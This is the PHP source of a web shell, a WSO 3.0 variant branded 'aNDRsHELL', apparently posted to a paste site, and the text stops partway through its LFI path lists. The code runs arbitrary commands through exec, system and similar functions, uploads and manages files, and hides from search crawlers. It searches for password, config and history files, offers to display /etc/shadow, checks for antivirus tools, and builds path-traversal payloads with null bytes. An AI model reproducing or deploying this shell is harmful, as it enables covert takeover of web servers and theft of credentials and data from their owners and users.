· 9 years ago · Jun 06, 2017, 12:54 PM
1<?php
2/*
3Coded By AndrHacK
4:)
5*/
6$auth_pass = "deepweb";
7$color = "#df5";
8$default_action = 'FilesMan';
9$default_use_ajax = true;
10$default_charset = 'Windows-1251';
11
12if(!empty($_SERVER['HTTP_USER_AGENT'])) {
13 $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
14 if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
15 header('HTTP/1.0 404 Not Found');
16 exit;
17 }
18}
19
20@session_start();
21@ini_set('error_log',NULL);
22@ini_set('log_errors',0);
23@ini_set('max_execution_time',0);
24@set_time_limit(0);
25@set_magic_quotes_runtime(0);
26@define('WSO_VERSION', '3.0');
27
28if(get_magic_quotes_gpc()) {
29 function WSOstripslashes($array) {
30 return is_array($array) ? array_map('WSOstripslashes', $array) : stripslashes($array);
31 }
32 $_POST = WSOstripslashes($_POST);
33}
34function wsoLogin() {
35
36 die("
37 <!DOCTYPE html>
38 <html>
39 <head>
40 <meta charset='UTF-8'>
41 <title>aNDRsHELL ".WSO_VERSION." Shell</title>
42 <link rel='shortcut icon' href='https://cdn3.iconfinder.com/data/icons/fatcow/32/bomb.png'>
43 <meta name='viewport' content='width=device-width, initial-scale=1'>
44 <meta name='viewport' content='width=device-width, initial-scale=1, maximum-scale=1, user-scalable=no'>
45 <link rel='stylesheet' href='http://bootswatch.com/darkly/bootstrap.min.css'>
46 </head>
47 <body style=''>
48
49 <div style='margin-left:50px;margin-top:50px;' class='container-fluid'>
50 <div class='rows'>
51 <div class='col-md-3'></div>
52 <div class='col-md-3'>
53 <img style='webkit-box-shadow: -9px 6px 148px -2px rgba(0,0,0,0.81); -moz-box-shadow: -9px 6px 148px -2px rgba(0,0,0,0.81); box-shadow: -9px 6px 148px -2px rgba(0,0,0,0.81); 'src='https://i.hizliresim.com/VMyg9q.jpg'>
54 </div>
55 <div class='col-md-5'></div>
56 </div>
57 </div>
58 <div style='margin-top:80px;' class='container-fluid'>
59 <div class='rows'>
60 <div class='col-md-4'></div>
61 <div class='col-md-3'>
62 <div class='panel panel-danger'>
63 <div class='panel-heading'>
64 <h3 class='panel-title'>Wso GiriÅŸ</h3>
65 </div>
66 <div class='panel-body'>
67 <form class='form-horizontal' action='".$_SERVER['PHP_SELF']."'method='post'>
68 <div class='form-group'>
69 <label id='pass' class='col-lg-3 control-label'>Password</label>
70 <div class='col-lg-8'>
71 <input type='password' class='form-control input-sm' name='pass' id='pass' placeholder='*********'>
72 </div>
73 </div>
74 <div class='rows'>
75 <div class='col-md-7'></div>
76 <div class='col-md-2'>
77 <button type='submit' class='btn btn-success'>GiriÅŸ</button>
78 </div>
79 </div>
80 </div>
81 </form>
82 </div>
83 </div>
84 <div class='col-md-4'></div>
85 </div>
86 </div>
87 <iframe width='1' height='1' style='display:none;'' src='http://youtube.com/embed/CdWbdg1inGc?autoplay=1' frameborder='0' allowfullscreen></iframe>
88 </body>
89 </html>
90 ");
91
92}
93
94if(!isset($_SESSION[md5($_SERVER['HTTP_HOST'])]))
95 if( empty($auth_pass) || ( isset($_POST['pass']) && ($_POST['pass'] == $auth_pass) ) )
96 $_SESSION[md5($_SERVER['HTTP_HOST'])] = true;
97 else
98 wsoLogin();
99
100if(strtolower(substr(PHP_OS,0,3)) == "win")
101 $os = 'win';
102else
103 $os = 'nix';
104
105$safe_mode = @ini_get('safe_mode');
106if(!$safe_mode)
107 error_reporting(0);
108
109$disable_functions = @ini_get('disable_functions');
110$home_cwd = @getcwd();
111if(isset($_POST['c']))
112 @chdir($_POST['c']);
113$cwd = @getcwd();
114if($os == 'win') {
115 $home_cwd = str_replace("\\", "/", $home_cwd);
116 $cwd = str_replace("\\", "/", $cwd);
117}
118if( $cwd[strlen($cwd)-1] != '/' )
119 $cwd .= '/';
120
121if(!isset($_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax']))
122 $_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax'] = (bool)$GLOBALS['default_use_ajax'];
123
124if($os == 'win')
125 $aliases = array(
126 "List Directory" => "dir",
127 "Find index.php in current dir" => "dir /s /w /b index.php",
128 "Find *config*.php in current dir" => "dir /s /w /b *config*.php",
129 "Show active connections" => "netstat -an",
130 "Show running services" => "net start",
131 "User accounts" => "net user",
132 "Show computers" => "net view",
133 "ARP Table" => "arp -a",
134 "IP Configuration" => "ipconfig /all"
135 );
136else
137 $aliases = array(
138 "List dir" => "ls -lha",
139 "list file attributes on a Linux second extended file system" => "lsattr -va",
140 "show opened ports" => "netstat -an | grep -i listen",
141 "process status" => "ps aux",
142 "Find" => "",
143 "find all suid files" => "find / -type f -perm -04000 -ls",
144 "find suid files in current dir" => "find . -type f -perm -04000 -ls",
145 "find all sgid files" => "find / -type f -perm -02000 -ls",
146 "find sgid files in current dir" => "find . -type f -perm -02000 -ls",
147 "find config.inc.php files" => "find / -type f -name config.inc.php",
148 "find config* files" => "find / -type f -name \"config*\"",
149 "find config* files in current dir" => "find . -type f -name \"config*\"",
150 "find all writable folders and files" => "find / -perm -2 -ls",
151 "find all writable folders and files in current dir" => "find . -perm -2 -ls",
152 "find all service.pwd files" => "find / -type f -name service.pwd",
153 "find service.pwd files in current dir" => "find . -type f -name service.pwd",
154 "find all .htpasswd files" => "find / -type f -name .htpasswd",
155 "find .htpasswd files in current dir" => "find . -type f -name .htpasswd",
156 "find all .bash_history files" => "find / -type f -name .bash_history",
157 "find .bash_history files in current dir" => "find . -type f -name .bash_history",
158 "find all .fetchmailrc files" => "find / -type f -name .fetchmailrc",
159 "find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc",
160 "Locate" => "",
161 "locate httpd.conf files" => "locate httpd.conf",
162 "locate vhosts.conf files" => "locate vhosts.conf",
163 "locate proftpd.conf files" => "locate proftpd.conf",
164 "locate psybnc.conf files" => "locate psybnc.conf",
165 "locate my.conf files" => "locate my.conf",
166 "locate admin.php files" =>"locate admin.php",
167 "locate cfg.php files" => "locate cfg.php",
168 "locate conf.php files" => "locate conf.php",
169 "locate config.dat files" => "locate config.dat",
170 "locate config.php files" => "locate config.php",
171 "locate config.inc files" => "locate config.inc",
172 "locate config.inc.php" => "locate config.inc.php",
173 "locate config.default.php files" => "locate config.default.php",
174 "locate config* files " => "locate config",
175 "locate .conf files"=>"locate '.conf'",
176 "locate .pwd files" => "locate '.pwd'",
177 "locate .sql files" => "locate '.sql'",
178 "locate .htpasswd files" => "locate '.htpasswd'",
179 "locate .bash_history files" => "locate '.bash_history'",
180 "locate .mysql_history files" => "locate '.mysql_history'",
181 "locate .fetchmailrc files" => "locate '.fetchmailrc'",
182 "locate backup files" => "locate backup",
183 "locate dump files" => "locate dump",
184 "locate priv files" => "locate priv"
185 );
186
187function wsoHeader() {
188 if(empty($_POST['charset']))
189 $_POST['charset'] = $GLOBALS['default_charset'];
190 global $color;
191 echo "
192<!DOCTYPE html>
193 <html>
194 <head>
195 <meta charset='UTF-8'>
196 <link rel='shortcut icon' href='https://cdn3.iconfinder.com/data/icons/fatcow/32/bomb.png'>
197 <title>andrShell ".WSO_VERSION." Shell</title>
198 <meta name='viewport' content='width=device-width, initial-scale=1'>
199 <meta name='viewport' content='width=device-width, initial-scale=1, maximum-scale=1, user-scalable=no'>
200 <link rel='stylesheet' href='https://bootswatch.com/superhero/bootstrap.min.css'>
201 <link href='https://maxcdn.bootstrapcdn.com/font-awesome/4.5.0/css/font-awesome.min.css' rel='stylesheet'>
202<style>
203 #myProgress {
204 position: relative;
205 width: 100%;
206 height: 20px;
207 background-color: grey;
208 }
209 #myBar {
210 position: absolute;
211 width: 1%;
212 height: 100%;
213 background-color: green;
214 }
215 .bigarea{ width:100%;height:250px; }
216 footer {
217 position:fixed;
218 left:0px;
219 bottom:0px;
220 height:30px;
221 width:100%;
222 background:#5cb85c;
223 }
224 .xa{
225 color:#44245D;
226 }
227</style>
228
229<script>
230 var c_ = '" . htmlspecialchars($GLOBALS['cwd']) . "';
231 var a_ = '" . htmlspecialchars(@$_POST['a']) ."'
232 var charset_ = '" . htmlspecialchars(@$_POST['charset']) ."';
233 var p1_ = '" . ((strpos(@$_POST['p1'],"\n")!==false)?'':htmlspecialchars($_POST['p1'],ENT_QUOTES)) ."';
234 var p2_ = '" . ((strpos(@$_POST['p2'],"\n")!==false)?'':htmlspecialchars($_POST['p2'],ENT_QUOTES)) ."';
235 var p3_ = '" . ((strpos(@$_POST['p3'],"\n")!==false)?'':htmlspecialchars($_POST['p3'],ENT_QUOTES)) ."';
236 var d = document;
237 function set(a,c,p1,p2,p3,charset) {
238 if(a!=null)d.mf.a.value=a;else d.mf.a.value=a_;
239 if(c!=null)d.mf.c.value=c;else d.mf.c.value=c_;
240 if(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_;
241 if(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_;
242 if(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_;
243 if(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_;
244 }
245 function g(a,c,p1,p2,p3,charset) {
246 set(a,c,p1,p2,p3,charset);
247 d.mf.submit();
248 }
249 function a(a,c,p1,p2,p3,charset) {
250 set(a,c,p1,p2,p3,charset);
251 var params = 'ajax=true';
252 for(i=0;i<d.mf.elements.length;i++)
253 params += '&'+d.mf.elements[i].name+'='+encodeURIComponent(d.mf.elements[i].value);
254 sr('" . addslashes($_SERVER['REQUEST_URI']) ."', params);
255 }
256 function sr(url, params) {
257 if (window.XMLHttpRequest)
258 req = new XMLHttpRequest();
259 else if (window.ActiveXObject)
260 req = new ActiveXObject('Microsoft.XMLHTTP');
261 if (req) {
262 req.onreadystatechange = processReqChange;
263 req.open('POST', url, true);
264 req.setRequestHeader ('Content-Type', 'application/x-www-form-urlencoded');
265 req.send(params);
266 }
267 }
268 function processReqChange() {
269 if( (req.readyState == 4) )
270 if(req.status == 200) {
271 var reg = new RegExp(\"(\\\\d+)([\\\\S\\\\s]*)\", 'm');
272 var arr=reg.exec(req.responseText);
273 eval(arr[2].substr(0, arr[1]));
274 } else alert('Request error!');
275 }
276</script>
277<head><body onload='fena()'>
278<script type='text/javascript'>
279function fena() {
280 var elem = document.getElementById('myBar');
281 var width = 0;
282 var id = setInterval(frame, 50);
283 function frame() {
284 if (width >= 100) {
285 clearInterval(id);
286 } else {
287 width++;
288 elem.style.width = width + '%';
289 }
290 }
291 }
292</script>
293<form method=post name=mf style='display:none;'>
294<input type=hidden name=a>
295<input type=hidden name=c>
296<input type=hidden name=p1>
297<input type=hidden name=p2>
298
299<input type=hidden name=p3>
300<input type=hidden name=charset>
301</form>";
302 $freeSpace = @diskfreespace($GLOBALS['cwd']);
303 $totalSpace = @disk_total_space($GLOBALS['cwd']);
304 $totalSpace = $totalSpace?$totalSpace:1;
305 $release = @php_uname('r');
306 $kernel = @php_uname('s');
307 if(!function_exists('posix_getegid')) {
308 $user = @get_current_user();
309 $uid = @getmyuid();
310 $gid = @getmygid();
311 $group = "?";
312 } else {
313 $uid = @posix_getpwuid(posix_geteuid());
314 $gid = @posix_getgrgid(posix_getegid());
315 $user = $uid['name'];
316 $uid = $uid['uid'];
317 $group = $gid['name'];
318 $gid = $gid['gid'];
319 }
320
321 $cwd_links = '';
322 $path = explode("/", $GLOBALS['cwd']);
323 $n=count($path);
324 for($i=0; $i<$n-1; $i++) {
325 $cwd_links .= "<a href='#' onclick='g(\"FilesMan\",\"";
326 for($j=0; $j<=$i; $j++)
327 $cwd_links .= $path[$j].'/';
328 $cwd_links .= "\")'>".$path[$i]."</a>/";
329 }
330
331 $charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866');
332 $opt_charsets = '';
333 foreach($charsets as $item)
334 $opt_charsets .= '<option value="'.$item.'" '.($_POST['charset']==$item?'selected':'').'>'.$item.'</option>';
335
336 $m = array('<i class="fa fa-info-circle"></i> Sec Info'=>'SecInfo','<i class="fa fa-file-archive-o"></i> Files'=>'FilesMan','<i class="fa fa-terminal"></i> Exec'=>'Console','<i class="fa fa-database"></i> Sql'=>'Sql','<i class="fa fa-cog"></i> PHP Tools'=>'phptools','<i class="fa fa-bug"></i> LFI'=>'lfiscan','<i class="fa fa-file-code-o"></i> Php'=>'Php','<i class="fa fa-shirtsinbulk"></i> Safe mode'=>'SafeMode','<i class="fa fa-pencil-square-o"></i> String tools'=>'StringTools','<i class="fa fa-lock"></i> Bruteforce'=>'Bruteforce','<i class="fa fa-globe"></i> Network'=>'Network');
337 if(!empty($GLOBALS['auth_pass']))
338 $m['<i class="fa fa-power-off"></i> Logout'] = 'Logout';
339 $m['<i class="fa fa-trash"></i> Remove Shell'] = 'SelfRemove';
340 $menu = '';
341 foreach($m as $k => $v)
342 $menu .= '<li width="'.(int)(100/count($m)).'%"><a href="#" class="btn btn-danger btn-xs" onclick="g(\''.$v.'\',null,\'\',\'\',\'\')">'.$k.'</a> </li>';
343
344 $drives = "";
345 if($GLOBALS['os'] == 'win') {
346 foreach(range('c','z') as $drive)
347 if(is_dir($drive.':\\'))
348 $drives .= '<a href="#" onclick="g(\'FilesMan\',\''.$drive.':/\')">[ '.$drive.' ]</a> ';
349 }
350 echo '
351<div class="container-fluid"><!-- Container -->
352<div class="rows"><!-- Rows -->
353<div class="col-md-5">
354<table style="margin-top:4px;" class="table table-striped table-hover">
355 <thead>
356 <tr class="info">
357 <th><i class="fa fa-tachometer"></i> Sistem</th>
358 <th><i class="fa fa-info-circle"></i> Bilgi <i class="fa fa-spinner fa-spin"></i> Charset:<select style="color:#d9534f;"onchange="g(null,null,null,null,null,this.value)"><optgroup label="Page charset">' . $opt_charsets . '</optgroup></select></th>
359 </tr>
360 </thead>
361 <tbody>
362 <tr class="danger">
363 <td> <i class="fa fa-server"> </i> Uname:</td>
364 <td>'.substr(@php_uname(), 0, 120).'</td>
365 </tr>
366 <tr class="danger">
367 <td> <i class="fa fa-user"> </i> User:</td>
368 <td>'.$uid.' ( ' .$user.' ) <i class="fa fa-users"></i> Group: '. $gid . ' ( ' . $group . ' ) Server İp:'.@$_SERVER["SERVER_ADDR"].'</td>
369 <tr>
370 <tr class="danger">
371 <td><i class="fa fa-bug"></i> PHP:</td>
372 <td><i class="fa fa-code-fork"></i> Version: '. @phpversion() . ' <i class="fa fa-shield"></i> Safe Mode: '.($GLOBALS['safe_mode']?'<span class="label label-success">ON</span>':'<span class="label label-warning">OFF</span>').' <i class="fa fa-calendar"></i> Datetime: '.date('Y-m-d H:i:s').' <a href="#" onclick="g(\'Php\',null,\'\',\'info\')" class="btn btn-info btn-xs">Php İnfo</a></td>
373 </tr>
374 <tr class="danger">
375 <td><i class="fa fa-database"></i> HDD:</td>
376 <td><i class="fa fa-battery-half"></i> Size: '.wsoViewSize($totalSpace).' <i class="fa fa-cogs"></i> Free:' . wsoViewSize($freeSpace) . ' ('. (int) ($freeSpace/$totalSpace*100) .'%)
377 <i class="fa fa-folder-open"></i> Driver :' . $drives . '
378 </td>
379 </tr>
380 </table>
381<ul class="breadcrumb">
382
383'.$cwd_links .' |
384<label class="text-info"><i style="color:#d9534f;" class="fa fa-hand-paper-o"></i> Dir Permission: '.wsoPermsColor($GLOBALS['cwd']).'</label>
385</ul>
386 </div>
387 </div>
388<div class="col-md-5">
389
390</div>
391 </tbody>
392
393
394 <div> <!-- Container bitti -->
395 <div class="container">
396
397</div>
398<div style="margin-bottom:5pt;" class="container-fluid">
399<ul class="nav nav-pills ">' . $menu . ' <li width="7%"><a data-toggle="modal" data-target="#myModal" href="" class="btn btn-danger btn-xs""><i class="fa fa-info-circle"></i> About</a></li></ul>
400
401<!-- Pencere -->
402<div id="myModal" class="modal fade" role="dialog">
403 <div class="modal-dialog">
404 <!-- Modal content-->
405 <div class="modal-content">
406 <div class="modal-header">
407 <button type="button" class="close" data-dismiss="modal">×</button>
408 <h4 class="modal-title">About</h4>
409 </div>
410 <div class="modal-body">
411 <center>
412 <p><i class="fa fa-code"></i> Deep-Cyber.Org</p>
413 <p><i class="fa fa-rocket"></i> AndrHacK</p>
414 <p><i class="fa fa-bug"></i> AndrHacK : '.WSO_VERSION.'</p>
415 <p><i class="fa fa-user-secret"></i> <a target="_blank" href="http://Deep-Cyber.Org">Deep-Cyber</a> Team 2016</p>
416 <p><a href="http://bluefrm.net" target="_blank">BlueFRM</a></p>
417 </center>
418 </div>
419
420 </div>
421
422 </div>
423</div>
424 <!-- Pencere -->
425</div>
426
427
428 ';
429}
430
431function wsoFooter() {
432 $is_writable = is_writable($GLOBALS['cwd'])?" <span class='label label-success'>Writeable</span>":" <span class='label label-warning'>Not Writeable</span>";
433 echo "
434
435</div>
436<div style='margin-top:5pt;margin-left:8pt;margin-right:8pt;' class='container-fluid'>
437<table class='table table-striped table-hover '>
438 <thead>
439 </thead>
440 <tr class='info'>
441 <th>İşlem</th>
442 <th>#</th>
443 <th>İşlem</th>
444 <th>#</th>
445 </tr>
446 </thead>
447 <tbody>
448 <div class='rows'>
449 <div class='col-md-4'></div>
450 <div class='col-md-4'>
451 <tr class='danger' >
452 <td>Change dir:</td>
453 <td><form onsubmit='g(null,this.c.value,\"\");return false;'><input class='toolsInp' type=text name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'><input style='margin-left:3px;' class='btn btn-success btn-xs' type=submit value='>>'></form></td>
454 <td>Read file:</td>
455 <td><form onsubmit=\"g('FilesTools',null,this.f.value);return false;\"><input class='toolsInp' type=text name=f><input style='margin-left:3px;' class='btn btn-success btn-xs' type=submit value='>>'></form></td>
456 </tr>
457 <tr class='danger' >
458 <td>Make dir:$is_writable</td>
459 <td><form onsubmit=\"g('FilesMan',null,'mkdir',this.d.value);return false;\"><input class='toolsInp' type=text name=d><input style='margin-left:3px;' class='btn btn-success btn-xs' type=submit value='>>'></form></td>
460 <td>Execute:</td>
461 <td><form onsubmit=\"g('Console',null,this.c.value);return false;\"><input class='toolsInp' type=text name=c value=''><input style='margin-left:3px;' class='btn btn-success btn-xs' type=submit value='>>'></form></td>
462 </tr>
463
464
465 </tbody>
466 </table>
467 </div>
468 <div class='container-fluid'>
469 <div class='rows'>
470 <div class='col-md-4'></div>
471 <div class='col-md-1'> </div>
472
473 <div class='col-md-4'> <div class='well'>
474 <span class='label label-danger'>Upload file: $is_writable</span>
475 <form method='post' ENCTYPE='multipart/form-data'>
476 <input type=hidden name=a value='FilesMAn'>
477 <input type=hidden name=c value='" . $GLOBALS['cwd'] ."'>
478 <input type=hidden name=p1 value='uploadFile'>
479 <input type=hidden name=charset value='" . (isset($_POST['charset'])?$_POST['charset']:'') . "'>
480 <button class='btn btn-danger btn-xs'><input type=file name=f> </button>
481 <input class='btn btn-success btn-xs' type=submit value='>>'>
482 </form>
483</div></div>
484 </div>
485 </div>
486 </div>
487 </div>
488 </div>
489 </div>
490 <footer><center><small>Wso Shell Bootstrap © Coded By <a target='_blank' class='xa' href='https://twitter.com/coderantidote'>Antidote</a></small> </center></footer>
491 <script src='https://code.jquery.com/jquery-1.10.2.min.js'></script>
492 <script src='https://bootswatch.com/bower_components/bootstrap/dist/js/bootstrap.min.js'></script>
493 <script src='https://bootswatch.com/assets/js/custom.js'></script>
494 </body></html>";
495}
496
497if (!function_exists("posix_getpwuid") && (strpos($GLOBALS['disable_functions'], 'posix_getpwuid')===false)) {
498 function posix_getpwuid($p) {return false;} }
499if (!function_exists("posix_getgrgid") && (strpos($GLOBALS['disable_functions'], 'posix_getgrgid')===false)) {
500 function posix_getgrgid($p) {return false;} }
501
502function wsoEx($in) {
503 $out = '';
504 if (function_exists('exec')) {
505 @exec($in,$out);
506 $out = @join("\n",$out);
507 } elseif (function_exists('passthru')) {
508 ob_start();
509 @passthru($in);
510 $out = ob_get_clean();
511 } elseif (function_exists('system')) {
512 ob_start();
513 @system($in);
514 $out = ob_get_clean();
515 } elseif (function_exists('shell_exec')) {
516 $out = shell_exec($in);
517 } elseif (is_resource($f = @popen($in,"r"))) {
518 $out = "";
519 while(!@feof($f))
520 $out .= fread($f,1024);
521 pclose($f);
522 }
523 return $out;
524}
525function wsoViewSize($s) {
526 if($s >= 1073741824)
527 return sprintf('%1.2f', $s / 1073741824 ). ' GB';
528 elseif($s >= 1048576)
529 return sprintf('%1.2f', $s / 1048576 ) . ' MB';
530 elseif($s >= 1024)
531 return sprintf('%1.2f', $s / 1024 ) . ' KB';
532 else
533 return $s . ' B';
534}
535
536function wsoPerms($p) {
537 if (($p & 0xC000) == 0xC000)$i = 's';
538 elseif (($p & 0xA000) == 0xA000)$i = 'l';
539 elseif (($p & 0x8000) == 0x8000)$i = '-';
540 elseif (($p & 0x6000) == 0x6000)$i = 'b';
541 elseif (($p & 0x4000) == 0x4000)$i = 'd';
542 elseif (($p & 0x2000) == 0x2000)$i = 'c';
543 elseif (($p & 0x1000) == 0x1000)$i = 'p';
544 else $i = 'u';
545 $i .= (($p & 0x0100) ? 'r' : '-');
546 $i .= (($p & 0x0080) ? 'w' : '-');
547 $i .= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x' ) : (($p & 0x0800) ? 'S' : '-'));
548 $i .= (($p & 0x0020) ? 'r' : '-');
549 $i .= (($p & 0x0010) ? 'w' : '-');
550 $i .= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x' ) : (($p & 0x0400) ? 'S' : '-'));
551 $i .= (($p & 0x0004) ? 'r' : '-');
552 $i .= (($p & 0x0002) ? 'w' : '-');
553 $i .= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x' ) : (($p & 0x0200) ? 'T' : '-'));
554 return $i;
555}
556
557function wsoPermsColor($f) {
558 if (!@is_readable($f))
559 return '<font color=#FF0000>' . wsoPerms(@fileperms($f)) . '</font>';
560 elseif (!@is_writable($f))
561 return '<font color=white>' . wsoPerms(@fileperms($f)) . '</font>';
562 else
563 return '<font color=#25ff00>' . wsoPerms(@fileperms($f)) . '</font>';
564}
565
566if(!function_exists("scandir")) {
567 function scandir($dir) {
568 $dh = opendir($dir);
569 while (false !== ($filename = readdir($dh)))
570 $files[] = $filename;
571 return $files;
572 }
573}
574
575function wsoWhich($p) {
576 $path = wsoEx('which ' . $p);
577 if(!empty($path))
578 return $path;
579 return false;
580}
581
582
583
584
585
586function actionSecInfo() {
587 wsoHeader();
588 echo '<div class="container-fluid"><span class="label label-default">Server security information</span>
589 <div style="margin-top:4px;" class="well">
590 <br>';
591 function wsoSecParam($n, $v) {
592 $v = trim($v);
593 if($v) {
594 echo '<p class="text-danger">' . $n . ': </p>';
595 if(strpos($v, "\n") === false)
596 echo $v . '<br>';
597 else
598 echo '<pre class="alert alert-dismissible alert-success">' . $v . '</pre> ';
599 }
600 }
601
602 wsoSecParam('Server software', @getenv('SERVER_SOFTWARE'));
603 if(function_exists('apache_get_modules'))
604 wsoSecParam('Loaded Apache modules', implode(', ', apache_get_modules()));
605 wsoSecParam('Disabled PHP Functions', $GLOBALS['disable_functions']?$GLOBALS['disable_functions']:'none');
606 wsoSecParam('Open base dir', @ini_get('open_basedir'));
607 wsoSecParam('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));
608 wsoSecParam('Safe mode include dir', @ini_get('safe_mode_include_dir'));
609 wsoSecParam('cURL support', function_exists('curl_version')?'enabled':'no');
610 $temp=array();
611 if(function_exists('mysql_get_client_info'))
612 $temp[] = "MySql (".mysql_get_client_info().")";
613 if(function_exists('mssql_connect'))
614 $temp[] = "MSSQL";
615 if(function_exists('pg_connect'))
616 $temp[] = "PostgreSQL";
617 if(function_exists('oci_connect'))
618 $temp[] = "Oracle";
619 wsoSecParam('Supported databases', implode(', ', $temp));
620 echo '<br>';
621
622 if($GLOBALS['os'] == 'nix') {
623 wsoSecParam('Readable /etc/passwd', @is_readable('/etc/passwd')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"passwd\")'>[view]</a>":'no');
624 wsoSecParam('Readable /etc/shadow', @is_readable('/etc/shadow')?"yes <a href='#' onclick='g(\"FilesTools\", \"etc\", \"shadow\")'>[view]</a>":'no');
625 wsoSecParam('OS version', @file_get_contents('/proc/version'));
626 wsoSecParam('Distr name', @file_get_contents('/etc/issue.net'));
627 if(!$GLOBALS['safe_mode']) {
628 $userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');
629 $danger = array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja');
630 $downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');
631 echo '<br>';
632 $temp=array();
633 foreach ($userful as $item)
634 if(wsoWhich($item))
635 $temp[] = $item;
636 wsoSecParam('Userful', implode(', ',$temp));
637 $temp=array();
638 foreach ($danger as $item)
639 if(wsoWhich($item))
640 $temp[] = $item;
641 wsoSecParam('Danger', implode(', ',$temp));
642 $temp=array();
643 foreach ($downloaders as $item)
644 if(wsoWhich($item))
645 $temp[] = $item;
646 wsoSecParam('Downloaders', implode(', ',$temp));
647 echo '<br/>';
648 wsoSecParam('HDD space', wsoEx('df -h'));
649 wsoSecParam('Hosts', @file_get_contents('/etc/hosts'));
650 }
651 } else {
652 wsoSecParam('OS Version',wsoEx('ver'));
653 wsoSecParam('Account Settings',wsoEx('net accounts'));
654 wsoSecParam('User Accounts',wsoEx('net user'));
655 }
656 echo '</div></div></div>';
657
658}
659function actionlfiscan() {
660 wsoHeader();
661 print '
662 <div class="container-fluid"><span class="label label-default">Led-Zeppelin\'s LFI File dumper</span>
663 <div style="margin-top:4pt;" class="well">
664
665 <form method="post" action="?"><input type="hidden" name="a" value="lfiscan">
666 LFI URL: <input type="text" size="60" name="lfiurl" value=""> <input style="margin-left:3px;margin-bottom:3px;" class="btn btn-success btn-xs" type="submit" value="Go"> File: <select name="scantype">
667 <option value="1">
668 Access Log
669 </option>
670
671 <option value="2">
672 httpd.conf
673 </option>
674
675 <option value="3">
676 Error Log
677 </option>
678 <option value="4">
679 php.ini
680 </option>
681 <option value="5">
682 MySQL
683 </option>
684 <option value="6">
685 FTP
686 </option>
687 <option value="7">
688 Environ
689 </option>
690 </select> Null: <select name="null">
691 <option value="%00">
692 Yes
693 </option>
694
695 <option value="">
696 No
697 </option>
698 </select> User-Agent: <input type="text" size="20" name="custom_header" value="">
699 </form>';
700 error_reporting(0);
701 if($_POST['lfiurl']) {
702 print "<pre>";
703 $cheader = $_POST['custom_header'];
704 $target = $_POST['lfiurl'];
705 $type = $_POST['scantype'];
706 $byte1 = $_POST['null'];
707 $lfitest = "../../../../../../../../../../../../../../etc/passwd".$byte1."";
708 $lfitest2 = "../../../../../../../../../../../../../../fake/file".$byte1."";
709 $lfiprocenv = "../../../../../../../../../../../../../../proc/environ".$byte1."";
710 $lfiaccess = array(
711 1 => "../../../../../../../../../../../../../../apache/logs/access.log".$byte1."",
712 2 => "../../../../../../../../../../../../../../etc/httpd/logs/acces_log".$byte1."",
713 3 => "../../../../../../../../../../../../../../etc/httpd/logs/acces.log".$byte1."",
714 4 => "../../../../../../../../../../../../../../var/www/logs/access_log".$byte1."",
715 5 => "../../../../../../../../../../../../../../var/www/logs/access.log".$byte1."",
716 6 => "../../../../../../../../../../../../../../usr/local/apache/logs/access_log".$byte1."",
717 7 => "../../../../../../../../../../../../../../usr/local/apache/logs/access.log".$byte1."",
718 8 => "../../../../../../../../../../../../../../var/log/apache/access_log".$byte1."",
719 9 => "../../../../../../../../../../../../../../var/log/apache2/access_log".$byte1."",
720 10 => "../../../../../../../../../../../../../../var/log/apache/access.log".$byte1."",
721 11 => "../../../../../../../../../../../../../../var/log/apache2/access.log".$byte1."",
722 12 => "../../../../../../../../../../../../../../var/log/access_log".$byte1."",
723 13 => "../../../../../../../../../../../../../../var/log/access.log".$byte1."",
724 14 => "../../../../../../../../../../../../../../var/log/httpd/access_log".$byte1."",
725 15 => "../../../../../../../../../../../../../../apache2/logs/access.log".$byte1."",
726 16 => "../../../../../../../../../../../../../../logs/access.log".$byte1."",
727 17 => "../../../../../../../../../../../../../../usr/local/apache2/logs/access_log".$byte1."",
728 18 => "../../../../../../../../../../../../../../usr/local/apache2/logs/access.log".$byte1."",
729 19 => "../../../../../../../../../../../../../../var/log/httpd/access.log".$byte1."",
730 20 => "../../../../../../../../../../../../../../opt/lampp/logs/access_log".$byte1."",
731 21 => "../../../../../../../../../../../../../../opt/xampp/logs/access_log".$byte1."",
732 22 => "../../../../../../../../../../../../../../opt/lampp/logs/access.log".$byte1."",
733 23 => "../../../../../../../../../../../../../../opt/xampp/logs/access.log".$byte1."");
734
735 $lfierror = array(
736 1 => "../../../../../../../../../../../../../../apache/logs/error.log".$byte1."",
737 2 => "../../../../../../../../../../../../../../etc/httpd/logs/error_log".$byte1."",
738 3 => "../../../../../../../../../../../../../../etc/httpd/logs/error.log".$byte1."",
739 4 => "../../../../../../../../../../../../../../var/www/logs/error_log".$byte1."",
740 5 => "../../../../../../../../../../../../../../var/www/logs/error.log".$byte1."",
741 6 => "../../../../../../../../../../../../../../usr/local/apache/logs/error_log".$byte1."",
742 7 => "../../../../../../../../../../../../../../usr/local/apache/logs/error.log".$byte1."",
743 8 => "../../../../../../../../../../../../../../var/log/apache/error_log".$byte1."",
744 9 => "../../../../../../../../../../../../../../var/log/apache2/error_log".$byte1."",
745 10 => "../../../../../../../../../../../../../../var/log/apache/error.log".$byte1."",
746 11 => "../../../../../../../../../../../../../../var/log/apache2/error.log".$byte1."",
747 12 => "../../../../../../../../../../../../../../var/log/error_log".$byte1."",
